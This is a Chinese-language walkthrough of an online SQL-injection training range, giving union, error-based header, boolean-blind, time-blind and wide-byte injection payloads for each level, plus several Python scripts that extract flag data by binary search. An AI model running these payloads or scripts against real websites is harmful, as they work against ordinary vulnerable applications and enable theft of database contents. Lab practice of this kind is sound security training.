掌控安全学院SQL注入靶场

靶场地址

http://inject2.lab.aqlab.cn

Pass-01 显错注入

判断注入类型发现是数字型注入

1 or 1=1 #
1' or '1'='1 #
1" or "1"="1 #

利用order by得到数据库有三列
?id=0 union select 1,2,3#得到回显位23

查库名
可以通过information_schema库或者直接select database()

?id=0 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select database())#

查表名

?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='error'),3#

查列名

?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='error'),(select group_concat(column_name) from information_schema.columns where table_name='error_flag')#

可以看到有flag列，直接输出

?id=0 union select 1,(select group_concat(flag) from error.error_flag),3#

Pass-02

测试得题目为单引号字符型注入
这里#注释会报错，转用--+

?id=0' union select 1,2,3 --+

爆库

?id=0' union select 1,(select database()),3--+

后面和Pass-01一样
直接得到flag

?id=0' union select 1,(select group_concat(flag) from error.error_flag),3--+

Pass-03

查看语句得知需要')闭合前面的('

?id=0') union select 1,2,3--+

剩下同理，没有过滤

Pass-04

双引号即可

?id=0") union select 1,2,3--+

Pass-05 POST注入

GET换POST

username=1' union select 1,2,3#&password=1&submi=%E7%99%BB%E5%BD%95

套用payload即可

username=1' union select 1,(select group_concat(flag) from error.error_flag),3#&password=1&submi=%E7%99%BB%E5%BD%95

Pass-06

同Pass-04

username=0") union select 1,2,3#&password=1&submi=%E7%99%BB%E5%BD%95

Pass-07 Head注入

提示Head注入，照常先测试一下payload

好！弱口令（好像串台了）

既然提示了就先简单测一下hackbar能改的head信息
改UA头的时候发现报错了
保持账号密码不变，只更改UA头1' or updatexml(1,concat('?',database()),1),1) #
成功将库名爆出
将database()换成查询语句爆库名
' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='head_error'),'~'),1),1) #

列名
' or updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='flag_head'),'~'),1),1) #

得到flag
' or updatexml(1,concat('~',(select group_concat(flag_h1) from head_error.flag_head),'~'),1),1) #

Pass-08

账号密码还是admin/123456
测试发现是Refer头注入，过程和Pass-07一样
' or updatexml(1,concat('~',(select group_concat(flag_h1) from head_error.flag_head),'~'),1),1) #

Pass-09

这个Hackbar测不出来了，上Bp！
测了一圈没反应，加上最熟悉的XFF头，flag就出来了
注入过程还是参考Pass-07
X-Forwarded-For:' or updatexml(1,concat('~',(select group_concat(flag_h1) from head_error.flag_head),'~'),1),1) #

Pass-10 布尔盲注

没啥过滤的盲注
直接手搓脚本
二分法+异或（不异或也没啥问题）

import requests
url = "http://inject2.lab.aqlab.cn/Pass-10/index.php?id="
flag=''
for i in range(1,100):
    low = 32
    high = 126
    mid = (low+high)//2
    while(low<high):
        #payload=url+"0^(ascii(substr((select database()),{},1))>{})".format(i,mid)	#爆库名
        #payload = url+"0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})".format(i,mid)	#爆表名
	    #payload = url+"0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),{},1))>{})".format(i,mid)	#爆列名
        payload = url+"0^(ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),{},1))>{})".format(i,mid)	#爆flag
        res = requests.get(payload)
        if 'No results found' not in res.text:
            low = mid + 1
        else:
            high = mid
        mid = (low+high)//2

    if (mid==32|mid==126):
        break
    
    flag +=chr(mid)
    print(flag)
print(flag)

库名

表名

列名

获得数据


好像有点小禁爬，拼起来就是最终flag了

哈哈，flag跑完了，ip好像被封了（

Pass-11

多一个双引号，小问题

import requests
url = "http://inject2.lab.aqlab.cn/Pass-11/index.php?id=1\" and 1="
flag=''
for i in range(1,100):
    low = 32
    high = 126
    mid = (low+high)//2
    while(low<high):
        #payload=url+"0^(ascii(substr((select database()),{},1))>{})--+".format(i,mid)
        #payload = url+"0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})--+".format(i,mid)   #爆表名
        #payload = url+"0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),{},1))>{})--+".format(i,mid) #爆列名
        payload = url+"0^(ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),{},1))>{})--+".format(i,mid)
        res = requests.get(payload)
        #print(payload)
        if 'No results found' not in res.text:
            low = mid + 1
        else:
            high = mid
        mid = (low+high)//2

    if (mid==32|mid==126):
        break
    
    flag +=chr(mid)
    print(flag)
print(flag)

点到为止

Pass-12

万能密码登录成功，可以作为盲注的判断依据

稍微调试一下语句，再把请求方式改为POST

import requests
url = "http://inject2.lab.aqlab.cn/Pass-12/index.php"
flag=''
data={'username':'1','password':'1','submit':'%E7%99%BB%E5%BD%95'}
for i in range(1,100):
    low = 32
    high = 126
    mid = (low+high)//2
    while(low<high):
        #payload="1\' or 1=0^(ascii(substr((select database()),{},1))>{})#".format(i,mid)
        #payload="1\' or 1=0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})#".format(i,mid)   #爆表名
        #payload="1\' or 1=0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),{},1))>{})#".format(i,mid) #爆列名
        payload="1\' or 1=0^(ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),{},1))>{})#".format(i,mid)
        data['username']=payload
        res = requests.post(url,data=data)
        #print(data)
        if '账号密码错误' not in res.text:
            low = mid + 1
        else:
            high = mid
        mid = (low+high)//2

    if (mid==32|mid==126):
        break
    
    flag +=chr(mid)
    print(flag)
print(flag)

还是同一个库，润！

Pass-13 延时注入

延时注入，先测试注入点
?id=1" and sleep(5)--+
小爆一下库
?id=1" and if((ascii(substr((database()),1,1))>0),sleep(3),sleep(0))--+
然后拿出上面的盲注脚本


和布尔盲注一个库

放个脚本

import requests
url = "http://inject2.lab.aqlab.cn/Pass-13/index.php?id=1\" and "
flag=''
for i in range(1,100):
    low = 32
    high = 126
    mid = (low+high)//2
    while(low<high):
        #payload=url+"if((ascii(substr((database()),{},1))>{}),sleep(1),sleep(0))--+".format(i,mid)	#爆库名
        #payload = url+"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}),sleep(1),sleep(0))--+".format(i,mid)	#爆表名
        #payload = url+"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),{},1))>{}),sleep(1),sleep(0))--+".format(i,mid)	#爆列名
        payload = url+"if((ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),{},1))>{}),sleep(1),sleep(0))--+".format(i,mid)	#爆flag
        #print(payload)
        res = requests.get(payload).elapsed.total_seconds()
        if res>1:
            low = mid + 1
        else:
            high = mid
        mid = (low+high)//2

    if (mid==32|mid==126):
        break
    
    flag +=chr(mid)
    print(flag)
print(flag)

Pass-14

同上
更改url即可

url = "http://inject2.lab.aqlab.cn/Pass-14/index.php?id=1') and "

Pass-15 宽字节注入

宽字节注入，来个经典%df
?id=1%df' or 1=1--+

看看库?id=1%df' union select 1,database(),3--+

表名
?id=1%df' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
因为单引号被转义了，所以查表的时候库名不能用'china_flag'，可以用十六进制代替
?id=1%df' union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_name=0x6368696e615f666c6167)--+
获取数据
?id=1%df' union select 1,database(),(select group_concat(C_Flag) from widechar.china_flag)--+

Pass-16

id=(“1”)得到闭合方式为%df")
?id=1%df") union select 1,database(),(select group_concat(C_Flag) from widechar.china_flag)--+

Pass-17

POST型宽字节注入
hackbar发包已经满足不了%df了，发送后会变成ß
需要通过奇数个汉字学')或者Burpsuite直接发包%df')

bp虽然乱码但是颜色对了）

python测试的%df')无效，就用汉字测了

import requests
url = "http://inject2.lab.aqlab.cn/Pass-17/index.php"
flag=''
data={'username':'admin%df\'\) or 1=1#','password':'1','submit':'%E7%99%BB%E5%BD%95'}
for i in range(1,100):
    low = 32
    high = 126
    mid = (low+high)//2
    while(low<high):
        #payload="a%df\') or 1=0^(ascii(substr((select database()),{},1))>{})#".format(i,mid)
        #payload="学\') or 1=0^(ascii(substr((select database()),{},1))>{})#".format(i,mid)
        #payload="学\') or 1=0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})#".format(i,mid)   #爆表名
        #payload="学\') or 1=0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='china_flag' ),{},1))>{})#".format(i,mid) #爆列名
        payload="学\') or 1=0^(ascii(substr((select group_concat(C_Flag) from widechar.china_flag),{},1))>{})#".format(i,mid)
        data['username']=payload
        res = requests.post(url,data=data)
        #print(data)
        #print(res.text)
        if '账号密码错误' not in res.text:
            low = mid + 1
        else:
            high = mid
        mid = (low+high)//2

    if (mid==32|mid==126):
        break
    
    flag +=chr(mid)
    print(flag)
print(flag)

总结

完结撒花哩
总体没啥难度，也没有啥过滤，拿来复健感觉还不错，最后一个宽字节注入又花了点时间研究了一下
好！
就这样